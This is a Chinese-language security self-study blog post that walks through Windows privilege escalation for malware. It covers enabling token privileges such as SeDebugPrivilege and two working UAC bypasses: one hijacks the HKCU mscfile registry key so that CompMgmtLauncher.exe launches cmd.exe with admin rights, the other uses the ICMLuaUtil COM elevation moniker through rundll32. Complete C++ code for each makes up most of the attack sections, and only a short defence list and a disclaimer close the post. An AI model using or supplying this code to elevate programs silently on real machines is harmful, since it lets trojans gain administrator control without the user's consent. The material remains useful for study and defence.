主頁 > 前端設計 > [網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

[網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

2020-09-14 12:11:17 前端設計

這是作者網路安全自學教程系列,主要是關于安全工具和實踐操作的在線筆記,特分享出來與博友們學習,希望您喜歡,一起進步,這篇文章將帶著大家來學習《Windows黑客編程技術詳解》,其作者是甘迪文老師,推薦大家購買來學習,作者將采用實際編程和圖文結合的方式進行分享,并且會進一步補充相關知識點,第六篇文章主要介紹木馬病毒提權技術,包括行程訪問令牌權限提升和Bypass UAC,希望對您有所幫助,

如果把權限看作是門禁卡,那么計算機便是一棟擁有許多門禁的大樓,要想進入一個房間或辦公室,則需要擁有對應房間的門禁卡,對于低權限,即擁有很少數量的門禁卡,能去的也只有廁所之類的無關緊要的地方,無法進入層層設防的保密辦公室,這樣,即使病毒木馬成功混入計算機這所大樓,如果沒有足夠的權限,也不能竊取或修改計算機中的關鍵資料,殺傷力有限,

因此,提權技術(從低權限獲取高權限的技術)成為大多數病毒木馬必備技術,

在這里插入圖片描述

計算機上有哪些操作需要提權呢?作業系統處于安全考慮,對不同的作業系統劃分了權限,例如創建或修改系統服務、修改HKEY_LOCAL_MACHINE注冊表鍵或重啟移動檔案等操作,均需要管理員權限,普通權限操作會失敗,

同時,從VISTA系統引入了UAC(用戶賬戶控制),涉及權限操作時都會有彈窗提示,只有用戶點擊確認后,方可繼續操作,所以,VISTA之后的提權操作主要是針對UAC不彈窗靜默提權,即Bypass UAC,

在這里插入圖片描述

文章目錄

  • 一.行程訪問令牌權限提升
    • 1.函式介紹
    • 2.實作原理
    • 3.編程實作
  • 二.Bypass UAC
    • 1.基于白名單程式的Bypass UAC
    • 2.基于COM組件介面的Bypass UAC
  • 三.總結


作者的github資源:
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp


宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,

前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透決議及登錄加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基于機器學習演算法的主機惡意代碼
[網路安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影像抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正則運算式、Web編程和套接字通信(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫編程(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
[網路安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防御原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0決議漏洞及防御原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1后臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網路安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、行程關閉)
[網路安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行檔案簽名復現
[網路安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
[網路安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及黑客常用DOS命令
[網路安全自學篇] 四十九.Procmon軟體基本用法及檔案行程、注冊表查看
[網路安全自學篇] 五十.虛擬機基礎之安裝XP系統、檔案共享、網路快照設定及Wireshark抓取BBS密碼
[網路安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網路安全自學篇] 五十二.Windows漏洞利用之堆疊溢位原理和堆疊保護GS機制
[網路安全自學篇] 五十三.Windows漏洞利用之Metasploit實作堆疊溢位攻擊及反彈shell
[網路安全自學篇] 五十四.Windows漏洞利用之基于SEH例外處理機制的堆疊溢位攻擊及shell提取
[網路安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
[網路安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網路安全自學篇] 五十七.PE檔案逆向之什么是數字簽名及Signtool簽名工具詳解(一)
[網路安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網路安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網路安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
[網路安全自學篇] 六十一.PE檔案逆向之數字簽名詳細決議及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網路安全自學篇] 六十二.PE檔案逆向之PE檔案決議、PE編輯工具使用和PE結構修改(三)
[網路安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網路安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網路安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網路安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網路安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
[網路安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒決議
[網路安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
[網路安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網路安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
[網路安全自學篇] 七十二.逆向分析之OllyDbg動態除錯工具(一)基礎入門及TraceMe案例分析
[網路安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網原始碼詳細解讀
[網路安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網路安全自學篇] 七十五.Vulnhub靶機滲透之bulldog資訊收集和nc反彈shell(三)
[網路安全自學篇] 七十六.逆向分析之OllyDbg動態除錯工具(二)INT3斷點、反除錯、硬體斷點與記憶體斷點
[網路安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網路安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網路安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、檔案包含、過濾繞過、SQL注入)
[網路安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(檔案上傳漏洞、冰蝎蟻劍、反序列化phar)
[網路安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
[網路安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
[網路安全自學篇] 八十四.《Windows黑客編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
[網路安全自學篇] 八十五.《Windows黑客編程技術詳解》之注入技術詳解(全域鉤子、遠執行緒鉤子、突破Session 0注入、APC注入)
[網路安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
[網路安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
[網路安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
[網路安全自學篇] 八十九.PE檔案決議之通過Python獲取時間戳判斷軟體來源地區
[網路安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
[網路安全自學篇] 九十一.阿里云搭建LNMP環境及實作PHP自定義網站IP訪問 (1)
[網路安全自學篇] 九十二.《Windows黑客編程技術詳解》之病毒啟動技術創建行程API、突破SESSION0隔離、記憶體加載詳解(3)
[網路安全自學篇] 九十三.《Windows黑客編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)


前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包



一.行程訪問令牌權限提升

病毒木馬想要實作一些關鍵的系統操作時,往往要求執行操作的行程擁有足夠的權限,比如,通過呼叫ExitWindows函式實作關機或重啟操作時,它就要求行程要有 SE_SHUTDOWN_NAME 權限,否則會忽視操作不執行,這時,程式能夠做的便是按照要求提升行程群賢,第一部分通過介紹提升行程訪問令牌的權限,

1.函式介紹

(1) OpenProcessToken函式
打開與行程關聯的訪問令牌,

BOOL OpenProcessToken(
	HANDLE ProcessHandle, //要修改訪問權限的行程句柄
	DWORD DesiredAccess,  //訪問掩碼,要對令牌進行何種操作
	PHANDLE TokenHandle   //回傳的訪問令牌指標
)

(2) LookupPrivilegevalue函式
查看系統權限的特權值,回傳資訊到一個LUID結構體,

BOOL LookupPrivilegevalue(
	LPCTSTR lpSystemName,   //指向要獲取特權值的系統名稱
	LPCTSTR lpName,         //特權名稱
	PLUID lpLuid            //指向LUID變數的指標
);

(3) AdjustTokenPrivileges函式
啟用或禁用指定訪問令牌中的權限,在訪問令牌中啟用或禁用權限時需要 TOKEN_ADJUST_PRIVILEGES 訪問,

BOOL AdjustTokenPrivileges(
	HANDLE TokenHandle,         //handle to token
	BOOL DisableAllPrivileges,  //disabling option
	PTOKEN_PRIVILEGES NewState, //privilege information
	DWORD BufferLength,         //size of buffer
	PTOKEN_PRIVILEGES PreviousState, //original state buffer
	PDWORD ReturnLength         //required buffer size
);

其中,操作型別及特權屬性Attributes可以是如下常量:

SE_PRIVILEGE_ENABLED            //使特權有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特權默認有效
SE_PRIVILEGE_REMOVED            //移除該特權
SE_PRIVILEGE_USED_FOR_ACCESS    //取得物件或服務的訪問權


2.實作原理

(1) 使用場景
病毒木馬想要實作一些關鍵的系統操作時,并且行程訪問令牌權限提升的實作步驟較為固定,

(2) 實作流程

  • 打開行程訪問令牌
  • 取得特權的LUID值
  • 調整訪問令牌特權值

首先獲取行程的訪問令牌,然后將訪問令牌的權限修改為指定權限,但是系統內部并不直接識別權限名稱,而是識別LUID值,所以需要根據權限名稱獲取對應的LUID值,之后傳遞給系統,實作行程訪問令牌權限的修改,

(3) 實作步驟

  • 獲取指定行程的訪問令牌,需要獲取權限的令牌句柄為 TOKEN_ADJUST_PRIVILEGES
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

  • 獲取本地系統指定特權名稱的LUID值,LUID值相當于該特權的身份標號
    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

  • 創建一個新的行程令牌特權結構體 TOKEN_PRIVILEGES,并對其進行賦值,設定新特權的數量、特權對應的LUID值以及特權的屬性狀態
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

  • 呼叫 AdjustTokenPrivileges 函式對行程令牌的特權進行修改
    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)



3.編程實作

第一步,新建C++空專案,專案名稱為“Tiquan01”,

在這里插入圖片描述

第二步,新建源檔案“main.cpp”,

在這里插入圖片描述

第三步,撰寫代碼獲取當前行程號,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;
	system("PAUSE");
	return 0;
}

輸出結果如下圖所示,可以看到我們的程式Tiquan01.exe行程為18512,

在這里插入圖片描述

第四步,通過子函式實作行程訪問令牌的提升權限,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

/*----------------------------------------------------------------
    函式名:  CPrivilgeEscalationDlg::EnableDebugPrivilege
    回傳型別:  BOOL
    功能: 提升行程訪問令牌權限
    引數1: 需要提升權限的行程句柄
    引數2: 特權名稱
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	//打開行程令牌并獲取具有 TOKEN_ADJUST_PRIVILEGES 權限的行程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		ShowError("OpenProcessToken");
		return FALSE;
	}
	//獲取本地系統的 pszPrivilegesName 特權的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	//設定提升權限資訊
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	//提升行程令牌訪問權限
	bRet = ::AdjustTokenPrivileges(
		hToken,                  //令牌句柄
		FALSE,                   //是否禁用權限
		&tokenPrivileges,        //新的特權的權限資訊
		0,                       //特權資訊大小
		NULL,                    //用來接收特權資訊當前狀態的buffer
		NULL                     //緩沖區大小
	);
	if (FALSE == bRet) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		//根據錯誤碼判斷是否特權都設定成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;

	//修改當前行程令牌訪問權限
	if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
	{
		printf("Enable Privileges Error!\n");
	}
	printf("Enable Privileges OK!\n");

	system("PAUSE");
	return 0;
}

運行結果如下圖所示,注意需要以管理員權限運行,否則會提示相關錯誤,

在這里插入圖片描述

問題:怎么判斷我是否提權成功呢?

同時,編程程序中會遇到各種錯誤,請大家一定實際去撰寫代碼,學會谷歌百度獨立解決, 比如"const char *"型別的實參與“LPCWSTR”型別的形參不兼容,基本的解決方法如下:

  • 配置屬性 -> 常規 -> 字符集 -> 使用多位元組字符集
  • C/C++ -> SDL檢查-> 否
  • C/C++ -> 語言 -> 符合模式 -> 否

在這里插入圖片描述



二.Bypass UAC

UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程式和任務可始終在非管理員賬戶的安全背景關系中運行,除非特別授予管理員級別的系統訪問權限,UAC可以阻止未授權的應用程式自動進行安裝,并防止無意地更改系統,

在這里插入圖片描述

UAC需要授權的動作包括:配置Windows Update、增加或洗掉用戶賬戶、改變用戶賬戶的型別、改變UAC設定、安裝ActiveX、安裝或移除程式、安裝設備驅動程式、設定家長控制、將檔案移動或復制到Program Files或Windows目錄、查看其他用戶檔案夾等,

觸發UAC時,系統會創建一個consent.exe行程,該行程通過白名單程式和用戶選擇來判斷是否創建管理員權限行程,請求行程將要請求的行程cmdline和行程路徑通過LPC介面傳遞給 appinfo 的 RAiLuanchAdminProcess 函式,流程如下:

  • 該函式首選驗證路徑是否在白名單中
  • 接著將結果傳遞給consent.exe行程
  • 該行程驗證請求行程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC視窗讓用戶確認
  • UAC視窗會創建新的安全桌面,屏蔽之前的界面,同時UAC視窗行程是系統權限行程,其他普通行程無法和其進行通信互動,用戶確認后,呼叫 CreateProcessAsUser 函式以管理員身份啟動請求的行程

病毒木馬如果想要實作更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程式的普通權限提升為管理員權限,從而使程式可以實作一些需要權限的操作,目前實作Bypass UAC主要有兩種方法:

  • 一種是利用白名單提權機制
  • 一種是利用COM組件介面技術


1.基于白名單程式的Bypass UAC

有些系統程式可以直接獲取管理員權限,而不觸發UAC彈框,這類程式成為白名單程式,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等,這些白名單程式可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程式,實作Bypass UAC提權操作,

下面選擇白名單程式 CompMgmtLauncher.exe 進行詳細分析,利用它實作Bypass UAC提權,分析的環境是64位Windows 10作業系統,使用的工具是行程監控器Procmon.exe,

第一步,在System32目錄下運行 CompMgmtLauncher.exe 程式,

在這里插入圖片描述

此時并沒有出現UAC彈窗就直接顯示計算機管理的視窗界面,

在這里插入圖片描述


第二步,使用procmon軟體監控該行程的所有操作,
主要是監控注冊表和檔案的操作,設定行程名為CompMgmtLauncher.exe過濾即可,

在這里插入圖片描述

輸出結果如下圖所示:

在這里插入圖片描述

第三步,分析該行程注冊表操作,
Procmon監控資料分析發現,計算機管理行程會先查詢注冊表中資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

發現該路徑不存在后,繼續查詢注冊表中的資料并讀取,

  • HKCR\mscfile\shell\open\command(Default)

該注冊表路徑中存盤著mmc.exe行程的路徑資訊,如下圖所示,然后,計算機管理程式會根據讀取到的路徑啟動程式,顯示計算機管理的視窗界面,

疑惑:如何通過該軟體定位行程的執行邏輯或操作流程?感覺不是Procmon就能實作的,

在這里插入圖片描述

注冊表中內容對應如下:

  • %SystemRoot%\system32\mmc.exe “%1” %*

在這里插入圖片描述


第四步,手動構造注冊表路徑彈窗cmd命令列程式,
在 CompMgmtLauncher.exe 啟動的程序中,有一個關鍵的操作就是它會先讀取注冊表的資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

我們開系統注冊表編輯器regedit.exe,查看相應路徑下的注冊表,發現該注冊表路徑確實不存在,所以,如果自己構造該注冊路徑,寫入啟動程式的路徑,這樣,CompMgmtLauncher.exe便會啟動該程式,為了驗證這個猜想,自己手動添加該注冊表路徑,并設定默認的資料為C:\Windows\System32\cmd.exe,

在這里插入圖片描述

注冊表修改如下:

在這里插入圖片描述

然后使用Procmon.exe進行監控并運行CompMgmtLauncher.exe,成功彈出cmd.exe命令列視窗,而且提示管理員權限,如下圖所示,注意左上角顯示的是“計算機管理”而不再是“CMD”,

在這里插入圖片描述

查看Procmon.exe的監控資料,CompMgmtLauncher.exe確實直接讀取注冊表路徑中的資料并啟動,


第五步,撰寫代碼實作相關功能,
利用CompMgmtLauncher.exe白名單程式Bypass UAC提權的原理講到這里,接下來撰寫程式創建并添加注冊表,并寫入自定義的程式路徑,

  • HKCU\Software\Classes\mscfile\shell\open\command(Default)

具體Bypass UAC代碼如下,運行計算機管理程式即可完成Bypass UAC提權操作,其中,HKEY_CURRENT_USER是用戶注冊表,程式使用普通權限即可進行修改,

Tiquan02完整代碼

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

//修改注冊表
BOOL SetReg(char* lpszExePath)
{
	HKEY hKey = NULL;
	//創建項
	::RegCreateKeyEx(HKEY_CURRENT_USER, 
		"Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

	if (NULL == hKey) {
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	//設定鍵值
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	//關閉注冊表
	::RegCloseKey(hKey);
	return TRUE;
}

//主函式
int main(int argc, char* argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 關閉檔案重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改注冊表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet) {
		// 運行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else {
		printf("Run ERROR!\n");
	}

	// 恢復檔案重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}

輸出結果如下圖所示,360成功識別在劫持程式,點擊允許后及彈出對應的計算機管理CMD,

在這里插入圖片描述

該程式成功利用白名單程式實作了Bypass UAC提權操作,并向注冊表中寫入cmd程式并啟動,其實這也算一種利用白名單的程式劫持,最終效果如下圖所示,

在這里插入圖片描述



2.基于COM組件介面的Bypass UAC

COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程式,以提升權限的方法來激活COM類,最終提升COM介面權限,其中,ICMLuaUtil 介面提供了ShellExec方法來執行命令,創建指定行程,所以,接下來介紹的基于 ICMLuaUtil 介面的Bypass UAC的實作原理,它是利用COM提升名稱來對 ICMLuaUtil 介面提權,提權后通過呼叫ShellExec方法來創建指定行程,實作Bypass UAC操作,

使用權限提升COM類的程式必須調通過用CoCreateInstanceAsAdmin函式來創建COM類,COM提升名稱具體的實作代碼如下:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;
    // 初始化COM環境
    ::CoInitialize(NULL);
    // 構造字串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }
    // 設定BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    // 創建名稱物件并獲取COM物件
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}

執行上述代碼,即可創建并激活提升權限的COM類,ICMLuaUtil 介面通過上述方法創建后,直接呼叫ShellExec方法創建指定行程,完成Bypass UAC的操作,基于ICMLuaUtil介面Bypass UAC的具體實作代碼如下所示:

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil *CMLuaUtil = NULL;
	BOOL bRet = FALSE;

	do {
		::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
		::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

		// 提權
		hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
		if (FAILED(hr))
		{
			break;
		}

		// 啟動程式
		hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
		if (FAILED(hr))
		{
			break;
		}

		bRet = TRUE;
	}while(FALSE);

	// 釋放
	if (CMLuaUtil) 
	{
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}

	return bRet;
}

要注意的是,如果執行COM提升名稱(COM Elevation Moniker)代碼的程式身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗,所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程式中運行,其中,可信程式有計算器、記事本、資源管理器、rundll32.exe等,

因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程式的行程空間中執行,其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼,利用rundll32.exe來呼叫自定義DLL中的匯出函式,匯出函式的引數和回傳值是有特殊規定的,必須是如下形式,

// 匯出函式給rundll32.exe呼叫執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

將上述Bypass UAC的代碼寫在DLL的專案工程中,同時開發Test控制臺專案工程,負責并將BypassUAC函式匯出給rundll32.exe程式呼叫,完成Bypass UAC作業,

Test代碼如下:

#include "stdafx.h"
#include <Windows.h>


int _tmain(int argc, _TCHAR* argv[])
{
	char szCmdLine[MAX_PATH] = { 0 };
	char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
	char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
	::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
	::WinExec(szCmdLine, SW_HIDE);

	printf("Run OK.\n");
	system("pause");
	return 0;
}

在這里插入圖片描述

Bypass UAC啟動的是cmd.exe程式,所以,直接運行Test.exe即可看到cmd.exe命令列視窗,而且視窗標題有管理員字樣,運行結果如下圖所示,

在這里插入圖片描述



三.總結

寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下,本文講解了行程訪問令牌權限提升和Bypass UAC(白名單和COM組件),其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實作程序不太一樣,需要我們不斷去摸索,同時,隨著作業系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源專案,

最后補充防止Bypass UAC的方法:

  • 不要給普通用戶設定管理員權限
  • 在“更改用戶賬戶控制設定”中,將用戶賬戶控制(UAC)設定為“始終通知”

注意,不要覺得這些技術代碼實作容易就簡單,很多木馬、病毒、APT攻擊都用到了它們,不要小瞧任何一個技術,只有把這些技術組合起來威脅更大,同樣,作為反病毒或安全分析人員,我們需要了解各種技術,只有知道怎么攻擊和原理才能更好地防守,

